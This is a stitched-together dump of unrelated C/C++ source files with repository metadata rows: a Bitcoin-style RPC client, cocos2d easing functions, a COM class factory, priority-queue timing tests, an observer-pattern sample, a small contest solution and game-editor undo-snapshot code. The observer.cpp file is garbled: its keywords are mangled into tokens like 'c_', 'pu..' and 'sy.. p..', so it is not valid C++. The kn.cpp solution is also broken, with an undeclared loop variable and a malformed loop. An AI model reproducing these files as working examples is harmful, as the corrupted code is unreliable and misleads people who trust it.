if (strMethod == "addmultisigaddress" && n > 1) ConvertTo<Array>(params[1]);
if (strMethod == "listunspent" && n > 0) ConvertTo<boost::int64_t>(params[0]);
if (strMethod == "listunspent" && n > 1) ConvertTo<boost::int64_t>(params[1]);
if (strMethod == "getrawtransaction" && n > 1) ConvertTo<boost::int64_t>(params[1]);
if (strMethod == "createrawtransaction" && n > 0) ConvertTo<Array>(params[0]);
if (strMethod == "createrawtransaction" && n > 1) ConvertTo<Object>(params[1]);
if (strMethod == "signrawtransaction" && n > 1) ConvertTo<Array>(params[1]);
if (strMethod == "signrawtransaction" && n > 2) ConvertTo<Array>(params[2]);
return params;
}
int CommandLineRPC(int argc, char *argv[])
{
string strPrint;
int nRet = 0;
try
{
// Skip switches
while (argc > 1 && IsSwitchChar(argv[1][0]))
{
argc--;
argv++;
}
// Method
if (argc < 2)
throw runtime_error("too few parameters");
string strMethod = argv[1];
// Parameters default to strings
std::vector<std::string> strParams(&argv[2], &argv[argc]);
Array params = RPCConvertValues(strMethod, strParams);
// Execute
Object reply = CallRPC(strMethod, params);
// Parse reply
const Value& result = find_value(reply, "result");
const Value& error = find_value(reply, "error");
if (error.type() != null_type)
{
// Error
strPrint = "error: " + write_string(error, false);
int code = find_value(error.get_obj(), "code").get_int();
nRet = abs(code);
}
else
{
// Result
if (result.type() == null_type)
strPrint = "";
else if (result.type() == str_type)
strPrint = result.get_str();
else
strPrint = write_string(result, true);
}
}
catch (std::exception& e)
{
strPrint = string("error: ") + e.what();
nRet = 87;
}
catch (...)
{
PrintException(NULL, "CommandLineRPC()");
}
if (strPrint != "")
{
fprintf((nRet == 0 ? stdout : stderr), "%s\n", strPrint.c_str());
}
return nRet;
}
#ifdef TEST
int main(int argc, char *argv[])
{
#ifdef _MSC_VER
// Turn off microsoft heap dump noise
_CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_FILE);
_CrtSetReportFile(_CRT_WARN, CreateFile("NUL", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, 0));
#endif
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
try
{
if (argc >= 2 && string(argv[1]) == "-server")
{
printf("server ready\n");
ThreadRPCServer(NULL);
}
else
{
return CommandLineRPC(argc, argv);
}
}
catch (std::exception& e) {
PrintException(&e, "main()");
} catch (...) {
PrintException(NULL, "main()");
}
return 0;
}
#endif
const CRPCTable tableRPC;
| [
"ac031fev@mail.ru"
] | ac031fev@mail.ru |
df61b90b2a67c5b357f2140961dd215be7b032e4 | 451ab1e84ae56931352f38ef2ea82d4c14a17497 | /cocos2d/cocos/editor-support/cocostudio/CCActionFrameEasing.cpp | 9ce8733c25cd6fd02298254676dec74566e82576 | [
"MIT"
] | permissive | denghe/xxlib_cocos_cpp | 64b5c02b2525e6f8f27efcc0daa2855e90388063 | d4e9c6f0e59c3db01a6791622188576089df5afe | refs/heads/master | 2021-06-27T21:33:54.024283 | 2020-09-26T07:03:17 | 2020-09-26T07:03:17 | 154,665,907 | 6 | 3 | null | 2019-05-23T14:21:14 | 2018-10-25T12:19:53 | C++ | UTF-8 | C++ | false | false | 4,875 | cpp | /****************************************************************************
Copyright (c) 2013-2016 Chukong Technologies Inc.
Copyright (c) 2017-2018 Xiamen Yaji Software Co., Ltd.
http://www.cocos2d-x.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
****************************************************************************/
#include <math.h>
#include "editor-support/cocostudio/CCActionFrameEasing.h"
#include "editor-support/cocostudio/DictionaryHelper.h"
#include "platform/CCStdC.h"
namespace cocostudio {
#ifndef M_PI_X_2
#define M_PI_X_2 (float)M_PI * 2.0f
#endif
ActionFrameEasing::ActionFrameEasing()
{
}
ActionFrameEasing::~ActionFrameEasing()
{
}
float ActionFrameEasing::bounceTime(float t)
{
if (t < 1 / 2.75) {
return 7.5625f * t * t;
}
else if (t < 2 / 2.75) {
t -= 1.5f / 2.75f;
return 7.5625f * t * t + 0.75f;
}
else if (t < 2.5 / 2.75) {
t -= 2.25f / 2.75f;
return 7.5625f * t * t + 0.9375f;
}
t -= 2.625f / 2.75f;
return 7.5625f * t * t + 0.984375f;
}
float ActionFrameEasing::easeValue(float t)
{
if (_type == FrameEasingType::kframeEasingInstant)
{
if (t < 1) return 0;
else return 1;
}
else if (_type == FrameEasingType::kframeEasingLinear)
{
return t;
}
else if (_type == FrameEasingType::kframeEasingCubicIn)
{
float rate = _fValue;
return powf(t,rate);
}
else if (_type == FrameEasingType::kframeEasingCubicOut)
{
float rate = _fValue;
return powf(t,1/rate);
}
else if (_type == FrameEasingType::kframeEasingCubicInOut)
{
float rate = _fValue;
t *= 2;
if (t < 1)
{
return 0.5f * powf (t, rate);
}
else
{
return 1.0f - 0.5f * powf(2-t, rate);
}
}
else if (_type == FrameEasingType::kframeEasingElasticIn)
{
float period = _fValue;
float newT = 0;
if (t == 0 || t == 1)
newT = t;
else {
float s = period / 4;
t = t - 1;
newT = -powf(2, 10 * t) * sinf( (t-s) * M_PI_X_2 / period);
}
return newT;
}
else if (_type == FrameEasingType::kframeEasingElasticOut)
{
float period = _fValue;
float newT = 0;
if (t == 0 || t == 1) {
newT = t;
} else {
float s = period / 4;
newT = powf(2, -10 * t) * sinf( (t-s) *M_PI_X_2 / period) + 1;
}
return newT;
}
else if (_type == FrameEasingType::kframeEasingElasticInOut)
{
float period = _fValue;
float newT = 0;
if( t == 0 || t == 1 )
newT = t;
else {
t = t * 2;
if(! period )
period = 0.3f * 1.5f;
float s = period / 4;
t = t -1;
if( t < 0 )
newT = -0.5f * powf(2, 10 * t) * sinf((t - s) * M_PI_X_2 / period);
else
newT = powf(2, -10 * t) * sinf((t - s) * M_PI_X_2 / period) * 0.5f + 1;
}
return newT;
}
else if (_type == FrameEasingType::kframeEasingBounceIn)
{
float newT = 1 - bounceTime(1-t);
return newT;
}
else if (_type == FrameEasingType::kframeEasingBounceOut)
{
float newT = bounceTime(t);
return newT;
}
else if (_type == FrameEasingType::kframeEasingBounceInOut)
{
float newT = 0;
if (t < 0.5) {
t = t * 2;
newT = (1 - bounceTime(1-t) ) * 0.5f;
} else
newT = bounceTime(t * 2 - 1) * 0.5f + 0.5f;
return newT;
}
else if (_type == FrameEasingType::kframeEasingBackIn)
{
float overshoot = 1.70158f;
return t * t * ((overshoot + 1) * t - overshoot);
}
else if (_type == FrameEasingType::kframeEasingBackOut)
{
float overshoot = 1.70158f;
t = t - 1;
return t * t * ((overshoot + 1) * t + overshoot) + 1;
}
else if (_type == FrameEasingType::kframeEasingBackInOut)
{
float overshoot = 1.70158f * 1.525f;
t = t * 2;
if (t < 1)
return (t * t * ((overshoot + 1) * t - overshoot)) / 2;
else {
t = t - 2;
return (t * t * ((overshoot + 1) * t + overshoot)) / 2 + 1;
}
}
return 0;
}
}
| [
"denghe@hotmail.com"
] | denghe@hotmail.com |
37551321d445d4b8d8b510ab1872123e5b1391ef | 349fe789ab1e4e46aae6812cf60ada9423c0b632 | /DLL/Report/ReportAnalisNom/UFormaDialogaCF.cpp | 147e03e93bcc6edd417b06e726ffcdfd85c9b557 | [] | no_license | presscad/ERP | a6acdaeb97b3a53f776677c3a585ca860d4de980 | 18ecc6c8664ed7fc3f01397d587cce91fc3ac78b | refs/heads/master | 2020-08-22T05:24:15.449666 | 2019-07-12T12:59:13 | 2019-07-12T12:59:13 | 216,326,440 | 1 | 0 | null | 2019-10-20T07:52:26 | 2019-10-20T07:52:26 | null | UTF-8 | C++ | false | false | 1,682 | cpp | #include "vcl.h"
#pragma hdrstop
#include "UFormaDialogaCF.h"
#include "UFormaDialogaImpl.h"
#pragma package(smart_init)
extern int NumObject;
//---------------------------------------------------------------
TFormaDialogaCF::TFormaDialogaCF()
{
NumRefs=0;
++NumObject;
}
//---------------------------------------------------------------
TFormaDialogaCF::~TFormaDialogaCF()
{
--NumObject;
}
//---------------------------------------------------------------
int TFormaDialogaCF::kanQueryInterface(REFIID id_interface, void**ppv)
{
int result=0;
if (id_interface==IID_IkanUnknown)
{
*ppv=static_cast<IkanUnknown*> (this);
result=-1;
}
else if (id_interface==IID_IkanClassFactory)
{
*ppv=static_cast<IkanClassFactory*> (this);
result=-1;
}
else
{
*ppv=NULL;
result=0;
return result;
}
kanAddRef();
return result;
}
//---------------------------------------------------------------
int TFormaDialogaCF::kanAddRef(void)
{
return (++NumRefs);
}
//---------------------------------------------------------------
int TFormaDialogaCF::kanRelease(void)
{
if (--NumRefs==0)
{
delete this;
}
return NumRefs;
}
//---------------------------------------------------------------
int TFormaDialogaCF::kanCreateInstance(REFIID id_interface, void ** ppv)
{
int result=0;
TFormaDialogaImpl * ob=new TFormaDialogaImpl();
if (ob->kanQueryInterface(id_interface, ppv)==-1)
{
result=-1;
}
else
{
delete ob;
result=0;
}
return result;
}
//---------------------------------------------------------------
| [
"sasha@kaserv.ru"
] | sasha@kaserv.ru |
a72ed22556517d0025b2c4851a54a2ccf42a0749 | dc4ec3696c7362f6863a92198298fbdc06ee4744 | /Final Project/TimeTests.cpp | 786b92b32ef5baa47409acde87ab10d963e3b8a8 | [] | no_license | jabrahamson9/CSCI-DataStructures | 1e37a9bf331cabf017480a9fde0859df16549fe9 | 5cafb61e03c9bda10fe8024bbce3ef19e17980c1 | refs/heads/master | 2020-04-16T22:31:32.816237 | 2019-01-16T04:23:44 | 2019-01-16T04:23:44 | 165,971,829 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,279 | cpp | #include <iostream>
#include <queue>
#include <vector>
#include <fstream>
#include <sstream>
#include <chrono>
#include "LinkedListPriority.cpp"
#include "LinkedListPriority.h"
#include "heap.cpp"
using namespace std;
using namespace std::chrono;
struct compare //tells how to compare patients
{
bool operator()(const patient* a, patient* b)
{
if(a->timeLabor == b->timeLabor)
return a->t_rec > b->t_rec;
else
return a->timeLabor > b->timeLabor;
}
};
priority_queue<patient*, vector<patient*>, compare> pq;
void STL(string file_name)//STL implementation
{
//ifstream file(argv[1])
ifstream file(file_name);
if(file.is_open())
{
string line="";
getline(file, line); // to skip first line
while(!file.eof())
{
//patient* temp;
line = "";
getline(file, line);
istringstream ss(line);//this is used to split the message into its individual words
string seg="";
int i=0;
string name;
int t_labor, t_rec;
while(getline(ss, seg, ','))//needs to be \r
{
if(i==0)
name=seg;
else if(i==1)
t_labor=stoi(seg);
else if(i==2)
t_rec=stoi(seg);
i++;
}
patient* temp = new patient(name, t_labor, t_rec);
pq.push(temp);
}
int l=1;
// else{
// cout<<"File failed to open."<<endl;
// }
}
file.close();
}
void STLdequeue(){
//cout<<"Rank\tPatient\tTTL\tTFT"<<endl;
int count=1;
while(!pq.empty())
{
//cout<<count<<"\t"<<pq.top()->name<<"\t"<<pq.top()->t_labor<<"\t"<<pq.top()->t_rec<<endl;
pq.pop();
count++;
}
}
int main(){
LL test;
for(int i=0; i<500; i++){
ofstream LLoutData("STLdequeueData587.csv", std::ios_base::app);
STL("patient587.csv");
auto start = chrono::steady_clock::now();//////////////////////////////////////////////////
STLdequeue();
auto end = chrono::steady_clock::now();/////////////////////////////////////////////////////////////
LLoutData<<chrono::duration_cast<chrono::nanoseconds>(end - start).count()<<endl; //////////////////////////////
LLoutData.close();
}
} | [
"noreply@github.com"
] | jabrahamson9.noreply@github.com |
9b36aa1e80e930e1b0192dbf0592f7b5560caf0b | 40745339d02332fc4a52049752100eff8f69d27b | /01.单片机程序/component/ddc/ddc_list.cpp | 55a03bb1c2fde59d681c12d55361885f16b8a2bc | [
"MIT"
] | permissive | JJL-FW-Caocao/eBoxTransmitter8Ch | 1e1ddf9242c565171a9c4bba943fe25ef849fb7f | ef90421c4e4b98a11b584cdb73313d4b1af2d879 | refs/heads/master | 2021-09-24T17:25:05.201898 | 2018-10-12T09:24:58 | 2018-10-12T09:24:58 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,989 | cpp | #include "ddc_list.h"
DdcNode_t* list_creat_node(uint8_t *p)
{
DdcNode_t *newNode;
newNode = (DdcNode_t*)ebox_malloc(sizeof(DdcNode_t));
if (newNode == NULL)
{
//printf("out of memory!\n");
return NULL;
} else
{
// ebox_printf("[list]creat list\t get free:%d\r\n",ebox_get_free());
newNode->p = p;
newNode->time = 0;
newNode->next = NULL;
return newNode;
}
}
void list_insert(DdcNode_t *head, uint8_t *p)
{
DdcNode_t *new_node = list_creat_node(p);
DdcNode_t *pcur = head;
while(pcur->next != NULL)
pcur = pcur->next;
pcur->next = new_node;
}
void list_delete_by_val(DdcNode_t *head, uint16_t id)
{
Data16_t temp;
//find target node and its precursor
DdcNode_t *cur = head->next;
DdcNode_t *pre = head;
temp.value = id;
if (head->next == NULL)
{
//ebox_printf("empty list!\n");
return;
}
while(cur)
{
if ((cur->p[2] == temp.byte[0]) && (cur->p[3] == temp.byte[1]))
{
//delete target node
pre->next = cur->next;
// ebox_printf("[list...]id=%d delete success\t get free:%d\r\n",temp.value,ebox_get_free());
ebox_free(cur->p);
// ebox_printf("free frame buffer ok!get free = %d\r\n",ebox_get_free());
ebox_free(cur);
// ebox_printf("free list buffer ok!get free = %d\r\n",ebox_get_free());
break;
}
else {
cur = cur->next;
pre = pre->next;
}
}
}
uint16_t list_get_size(DdcNode_t *head)
{
DdcNode_t *temp;
unsigned int i;
for ( temp = head; temp != NULL; temp = head->next)
{
i++;
}
return i;
}
void list_free(DdcNode_t *head)
{
DdcNode_t *temp;
for ( temp = head; temp != NULL; temp = head->next)
{
head = head->next;
ebox_free(temp->p);
ebox_free(temp);
}
}
| [
"shentqlf@163.com"
] | shentqlf@163.com |
f28256caf112cd51596d7ffbe71b58a81e5f2b25 | 81d0d561f25e90e508e0e7d22846b68f4c8d78a8 | /Ch16/Assignment5.cpp | 64b58c436ef7e7aa60dffe817190fde752e7669c | [] | no_license | LAbeast021/CS216 | 4f7afa48b0f32ca8aa680918ec821d031e7b581e | c05f13c73e094f7f81cc22baf5173b7cb9f1680b | refs/heads/master | 2023-01-31T18:02:19.339025 | 2020-12-17T07:02:33 | 2020-12-17T07:02:33 | 294,009,886 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,537 | cpp | // Kiarash Hesampour CS216
// this program rotate and output a vector of a generic type The first function performs a single circular left rotation on a vector, and the second prints out the vector passed to it as parameter
#include <iostream>
#include <fstream>
#include <iomanip>
#include <math.h>
#include <string>
#include <cctype>
#include <vector>
using namespace std;
template <class T>
void rotateLeft(vector <T>& v);
template <class T>
void output(vector <T> v);
int main(){
cout << "vector of integers:" << endl;
vector<int> integers;
integers.push_back(1);
integers.push_back(3);
integers.push_back(5);
integers.push_back(7);
output(integers);
rotateLeft(integers);
output(integers);
rotateLeft(integers);
output(integers);
rotateLeft(integers);
output(integers);
cout << endl;
cout << "vector of chars:" << endl;
vector<char> chars;
chars.push_back('a');
chars.push_back('b');
chars.push_back('c');
chars.push_back('d');
chars.push_back('e');
output(chars);
rotateLeft(chars);
output(chars);
rotateLeft(chars);
output(chars);
rotateLeft(chars);
output(chars);
cout << endl;
cout << "vector of doubles:" << endl;
vector<double> doubles;
doubles.push_back(2.5);
doubles.push_back(23.90);
doubles.push_back(64.3);
doubles.push_back(18.90);
doubles.push_back(10.35);
output(doubles);
rotateLeft(doubles);
output(doubles);
rotateLeft(doubles);
output(doubles);
rotateLeft(doubles);
output(doubles);
cout << endl;
cout << "vector of strings:" << endl;
vector<string> strings;
strings.push_back("hello");
strings.push_back("hi");
strings.push_back("computer");
strings.push_back("apple");
output(strings);
rotateLeft(strings);
output(strings);
rotateLeft(strings);
output(strings);
rotateLeft(strings);
output(strings);
}
template <class T>
void rotateLeft(vector <T>& v){
int size = v.size();
if(size > 0){
T data=v[0];
v.erase(v.begin());
v.push_back(data);
}
}
template <class T>
void output(vector <T> v){
for(int i = 0 ; i < v.size() ; i++){
cout << v[i] << " ";
}
cout << endl;
} | [
"kiarashhesampour@gmail.com"
] | kiarashhesampour@gmail.com |
3f041d89a3768a178c4c64be05f8f7aa166220f2 | 7ef11358c57c8cf550d5d534c3af2f4dc2c86bf6 | /SimpleSideScrollerFramework/SSSF_SourceCode/PlatformPlugins/WindowsPlugin/WindowsInput.h | 75ae59158771c30e5442b3ffe5ac82bbcc0a3227 | [] | no_license | Esaft/esaft-cse380 | 6246ed91f3fc3214d1e6b5e5278aa24d2fa7076b | 702bc3caf2a0f78368d8cb8067c0bea9d4793891 | refs/heads/master | 2021-01-25T10:15:04.500548 | 2012-03-23T20:43:23 | 2012-03-23T20:43:23 | 40,219,237 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,032 | h | /*
Author: Richard McKenna
Stony Brook University
Computer Science Department
WindowsInput.h
This class manages all game input. This is currently done only
via a keyboard and mouse. Windows method are used to get input
information each frame.
*/
#pragma once
#include "stdafx.h"
#include "SSSF_SourceCode\input\KeyEventHandler.h"
#define NUM_MOUSE_BUTTONS 2
// FORWARD DECLARATIONS OF CLASSES USED BY WindowsInput.h
class Cursor;
class Game;
class GameGUI;
class WindowsInput : public GameInput
{
private:
// THIS IS THE LOCATION OF THE CURSOR
POINT *mousePoint;
public:
// INLINED METHODS
// GETS THE MOUSE LOCATION
POINT* getMousePoint()
{ return mousePoint; }
// METHODS DEFINED IN GameInput.cpp
WindowsInput();
~WindowsInput();
void initInputState();
void updateInputState();
void updateCursorPosition(Game *game, WINDOWINFO wi, Cursor *cursor);
void processInput(Game *game);
void respondToMouseInput(Game *game);
void shutdown();
}; | [
"evan.saft@gmail.com"
] | evan.saft@gmail.com |
6ca99421fc3d79d2d2bbf6880807e3305828f9bd | 00d5d7060e68f46427dc33f7e3298d4a1449271a | /5ex_06/main.cpp | c3b5d23157da191bd7baa5f18e9e7cde3d239416 | [] | no_license | MRBUNNY1/hao_zhenke | 6a17bea3debe5e33863585c936bbbb0dfc9c4acc | 8194b8a6a08b31be8c64999ca231b8897976270b | refs/heads/master | 2020-04-02T09:00:51.484717 | 2019-04-08T02:32:10 | 2019-04-08T02:32:10 | 154,271,482 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 201 | cpp | #include <iostream>
using namespace std;
int main()
{
int a=0;
int b=0;
double c=0;
cin>>a;
for(int i=1;a!=9999;i++)
{
b=b+a;
cin>>a;
}
c=b/(i-1);
cout<<c;
}
| [
"156188759@qq.com"
] | 156188759@qq.com |
c6d6ca1b3c29967e4af8db2ac6400a4c1ed61cf6 | 9d20dc54ffc77cb1f6618c0b0da44d75ed25d764 | /Projet Unreal/RootsOfShadows/Source/RootsOfShadows/Public/HealthComponent.h | 114fd31b66603c37a4cf7730dc8ea144a63bd410 | [] | no_license | gabsnow/Roots-of-Shadows | 5f46e39d60ebfc78272a73e9b42fd2b8c58e495a | ae8a8d1d728c27378f66bcf0fcbc7eb983262396 | refs/heads/main | 2022-12-30T05:50:27.899181 | 2020-09-30T19:51:22 | 2020-09-30T19:51:22 | 300,015,812 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,020 | h | // Fill out your copyright notice in the Description page of Project Settings.
#pragma once
#include "CoreMinimal.h"
#include "EnemyCharacter.h"
#include "Components/ActorComponent.h"
#include "HealthComponent.generated.h"
UCLASS(ClassGroup=(Custom), meta=(BlueprintSpawnableComponent) )
class ROOTSOFSHADOWS_API UHealthComponent : public UActorComponent
{
GENERATED_BODY()
public:
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "Enemy Attributes")
float Health;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "Enemy Attributes")
float MaxHealth;
// Sets default values for this component's properties
UHealthComponent();
protected:
// Called when the game starts
virtual void BeginPlay() override;
public:
// Called every frame
virtual void TickComponent(float DeltaTime, ELevelTick TickType, FActorComponentTickFunction* ThisTickFunction) override;
// Perdre un montant de vie
UFUNCTION(BlueprintCallable, Category = "Enemy Functions")
void LoseHealth(float healthToLose);
};
| [
"45138983+gabsnow@users.noreply.github.com"
] | 45138983+gabsnow@users.noreply.github.com |
1a20b4360758edd0f00b73242b8a14ba56f363aa | 3531dd9f52b11ae26d0c5f624a815538bf4c1964 | /templates/OTUS_Developer_CPP/14_GoF_patterns_Behavioral/observer.cpp | baebd2db7326b1b94126cc5f8537f37fb816e4e6 | [] | no_license | syurskyi/CPP_Topics | b9a481fa828fb763fe4e21388cd04b4e90c2cd96 | c9851ab9e254e2fc01ab1bb819ca1d642f623fae | refs/heads/master | 2022-12-11T16:12:49.219989 | 2020-09-01T22:36:08 | 2020-09-01T22:36:08 | 277,678,709 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,127 | cpp | // Наблюдатель (Observer)
? |i..
? ve..
en.. c_ Lang
{
ru, en
}
c_ Observer {
pu..
v.. v.. update(Lang lang) _ 0sy.. p..
}
c_ Language {
Lang lang{Lang::ru}
st. ve..<Observer *> subssy.. p..
pu..
v.. subscribe(Observer *obs) {
subs.push_back(obs)
}
v.. set_language(Lang lang_) {
lang _ lang_sy.. p..
notify()
}
v.. notify
___ (a.. s : subs) {
s__update(lang)
}
}
}
c_ report_observer : pu.. Observer {
pu..
report_observer(Language *lang) {
lang__subscribe(t..)
}
v.. update(Lang lang) ov.. {
st. c__ __ "switch report template to lang " __ in.(lang) __ st. e..
}
}
c_ ui_observer : pu.. Observer {
pu..
ui_observer(Language *lang) {
lang__subscribe(t..)
}
v.. update(Lang lang) ov.. {
st. c__ __ "refresh ui for lang " __ in.(lang) __ st. e..
}
}
in. main(in., c.. #|| {
Language langsy.. p..
report_observer rpt(&lang)
ui_observer ui(&lang)
lang.set_language(Lang::ru)
lang.set_language(Lang::en)
r_ 0sy.. p..
}
| [
"sergejyurskyj@yahoo.com"
] | sergejyurskyj@yahoo.com |
6e5af589676e675ffb00db115f3a1ca279f9680d | 266a4c550a561c810ae376a4477d61bc81bb4f40 | /Set_2/kn.cpp | dee6215c175cbebf70ddcd87b19e8dcd0ce5ed29 | [] | no_license | Rajeev0651/Codechef | 423687213dc09332d1b5afcd80b791f46fc4359f | d5cfb05340ba3b91f8868215e348f43d7847a5bb | refs/heads/master | 2023-03-30T15:06:41.151843 | 2021-04-05T16:55:26 | 2021-04-05T16:55:26 | 258,600,370 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 299 | cpp | #include<stdio.h>
int main()
{
int T;
scanf("%d",&T);
while(T--)
{
int N,flag=0;;
scanf("%d",&N);
for(i=0)
while(N--)
{
int x,y,mx[4],my[4],i,j;
scanf("%d%d",&x,&y);
mx[0]=x+2;my[0]=y+1;
mx[1]=x+2;my[1]=y-1;
mx[2]=x-2;my[3]=y+1;
mx[3]=x-2;my[3]=y-1;
}
}
}
| [
"singhrajiv0651@gmail.com"
] | singhrajiv0651@gmail.com |
7c9c43231309aded39cac3cc074a419f09358ac2 | 1d55df2b009b37d0396a0897304dab5e79d92ef7 | /05/Sample2/Sample2.cpp | 58e5d98e6ccbfba4419a55ecc1130116a9e8fb56 | [] | no_license | shoveller/YCCSample_srcOnly | caa73877daa5f2fdcad55a953122b714f5464fea | 3edd3c572cbd58cfe2cc064781892fe3cb7be68f | refs/heads/master | 2020-04-05T23:21:36.715829 | 2015-06-10T04:15:17 | 2015-06-10T04:15:17 | 37,174,788 | 0 | 2 | null | null | null | null | UHC | C++ | false | false | 314 | cpp | #include <iostream>
using namespace std;
int main()
{
int res;
cout << "정수를 입력하십시오.\n";
cin >> res;
if(res == 1){
cout << "1이 입력되었습니다.\n";
cout << "1을 선택했습니다.\n";
}
cout << "처리를 종료합니다.\n";
return 0;
} | [
"cinos81@gmail.com"
] | cinos81@gmail.com |
6ebdb4a9681f4f77a7383ff5e67c31b85e9e5043 | b4925f354c0236406d07cdab4e47667f12f58067 | /club/contest7/d.cpp | 5ee95bc1f57a52fef1c5c27c64952bf4d727d4ac | [] | no_license | MauricioCerv10/schoolhistory | 93be0e0adc57a79e5feea4665cac92d925edd9d8 | 7e5ef296909cc1e6daa54846e595b299e4be4e6e | refs/heads/master | 2023-07-01T16:14:25.918824 | 2021-07-30T03:12:15 | 2021-07-30T03:12:15 | 390,902,375 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 432 | cpp | #include <bits/stdc++.h>
using namespace std;
typedef long long ll;
int main(){
int t; cin>>t;
while(t--){
int n,k;
vector<int> lprice;
cin>>n>>k;
for(int i = 0 ; i<n ; i++){
int p[3];
for(int j = 0; j<3 ;j++) cin>>p[j];
sort(p,p+3);
lprice.push_back(p[0]);
lprice.push_back(p[1]);
}
sort(lprice.begin(),lprice.end());
ll ans = 0;
for(int i = 0; i<k; i++) ans += lprice[i];
cout<<ans<<"\n";
}
}
| [
"mauriciocervantesdelgadillo10@gmail.com"
] | mauriciocervantesdelgadillo10@gmail.com |
e824b5f6498eeecfb797e5adc7d2d6932936d957 | d18deb3d03225e0b6e9708309910feaf87ae4c91 | /src/core_edit_session.cc | babc79616e6ad178f8009eab55845ed930b21538 | [] | no_license | nikki93/build-club-1 | 0a65ed12484faf8f6926e0a25755cbe75627acaa | 7046edd3595942060d42b6d641b51601d58ac6d5 | refs/heads/master | 2023-06-03T17:39:24.667152 | 2021-06-25T22:29:52 | 2021-06-25T22:29:52 | 379,472,919 | 7 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 8,598 | cc | #include "core.hh"
#include "game.hh"
UseComponentTypes();
//
// History
//
struct EditComponentSnapshot {
void *data;
void (*free)(void *data);
void (*add)(void *data, Entity ent);
cJSON *(*write)(void *data);
};
struct EditEntitySnapshot {
Prop((Seq<EditComponentSnapshot, 8>), componentSnapshots);
Prop(Entity, ent);
};
struct EditSceneSnapshot {
Prop(bool, valid) { false };
Prop(double, time) { 0 };
Prop(char[64], description);
Prop(char[64], inspectedComponentTitle) { "" };
Prop(Seq<EditEntitySnapshot>, entitySnapshots);
Prop(Seq<Entity>, selection);
};
static constexpr auto editMaxSnapshots = 50;
static struct EditHistory {
Prop(EditSceneSnapshot[editMaxSnapshots], snapshots);
Prop(int, lastIndex) { 0 };
Prop(Seq<Entity>, stopSelection);
} editHistory;
// Component snapshot
template<typename T>
void init(EditComponentSnapshot &componentSnapshot) {
componentSnapshot.data = new T {};
componentSnapshot.free = [](void *data) {
delete ((T *)data);
};
componentSnapshot.add = [](void *data, Entity ent) {
auto copy = *((T *)data);
add<T>(ent, std::move(copy));
};
componentSnapshot.write = [](void *data) {
auto &comp = *((T *)data);
auto jsn = write(comp);
cJSON_AddItemToObjectCS(jsn, "_type", cJSON_CreateString(nullTerminate<64>(getTypeName<T>())));
return jsn;
};
}
void read(EditComponentSnapshot &componentSnapshot, const cJSON *jsn) {
const auto typeName = cJSON_GetStringValue(cJSON_GetObjectItemCaseSensitive(jsn, "_type"));
const auto typeNameHash = hash(typeName);
forEachComponentType([&]<typename T>(T *) {
constexpr auto TName = getTypeName<T>();
constexpr auto TNameHash = hash(TName);
if (typeNameHash == TNameHash && typeName == TName) {
init<T>(componentSnapshot);
T &comp = *((T *)componentSnapshot.data);
read(comp, jsn);
}
});
}
cJSON *write(const EditComponentSnapshot &componentSnapshot) {
return componentSnapshot.write(componentSnapshot.data);
}
// Selection
static Seq<Entity> saveEditSelection() {
Seq<Entity> result;
each([&](Entity ent, EditSelect &sel) {
result.push_back(ent);
});
return result;
}
static void loadEditSelection(const Seq<Entity> &selection) {
each(remove<EditSelect>);
for (auto ent : selection) {
if (exists(ent)) {
add<EditSelect>(ent);
}
}
}
// Reset
static void reset(EditSceneSnapshot &snapshot) {
for (auto &entitySnapshot : snapshot.entitySnapshots()) {
for (auto &componentSnapshot : entitySnapshot.componentSnapshots()) {
componentSnapshot.free(componentSnapshot.data);
}
}
snapshot = {};
}
static void resetEditHistory() {
for (auto &snapshot : editHistory.snapshots()) {
reset(snapshot);
}
editHistory = {};
}
static struct EditResetHistoryOnExit {
~EditResetHistoryOnExit() {
resetEditHistory();
}
} editResetHistoryOnExit;
// Save / load
void saveEditSnapshot(const char *desc, bool saveInspectedComponentTitle) {
editHistory.lastIndex() = (editHistory.lastIndex() + 1) % editMaxSnapshots;
auto &snapshot = editHistory.snapshots()[editHistory.lastIndex()];
reset(snapshot);
snapshot.valid() = true;
snapshot.time() = rl::GetTime();
copy(snapshot.description(), desc);
if (saveInspectedComponentTitle) {
copy(snapshot.inspectedComponentTitle(), edit.inspectedComponentTitle());
}
each([&](Entity ent) {
if (!has<EditDelete>(ent)) {
auto &entitySnapshot = snapshot.entitySnapshots().emplace_back();
entitySnapshot.ent() = ent;
forEachComponentType([&]<typename T>(T *) {
if (has<T>(ent)) {
auto &componentSnapshot = entitySnapshot.componentSnapshots().emplace_back();
init<T>(componentSnapshot);
T &destComp = *((T *)componentSnapshot.data);
auto &srcComp = get<T>(ent);
forEachProp(destComp, [&]<typename DestProp>(DestProp &destProp) {
forEachProp(srcComp, [&]<typename SrcProp>(SrcProp &srcProp) {
if constexpr (std::is_same_v<DestProp, SrcProp>) {
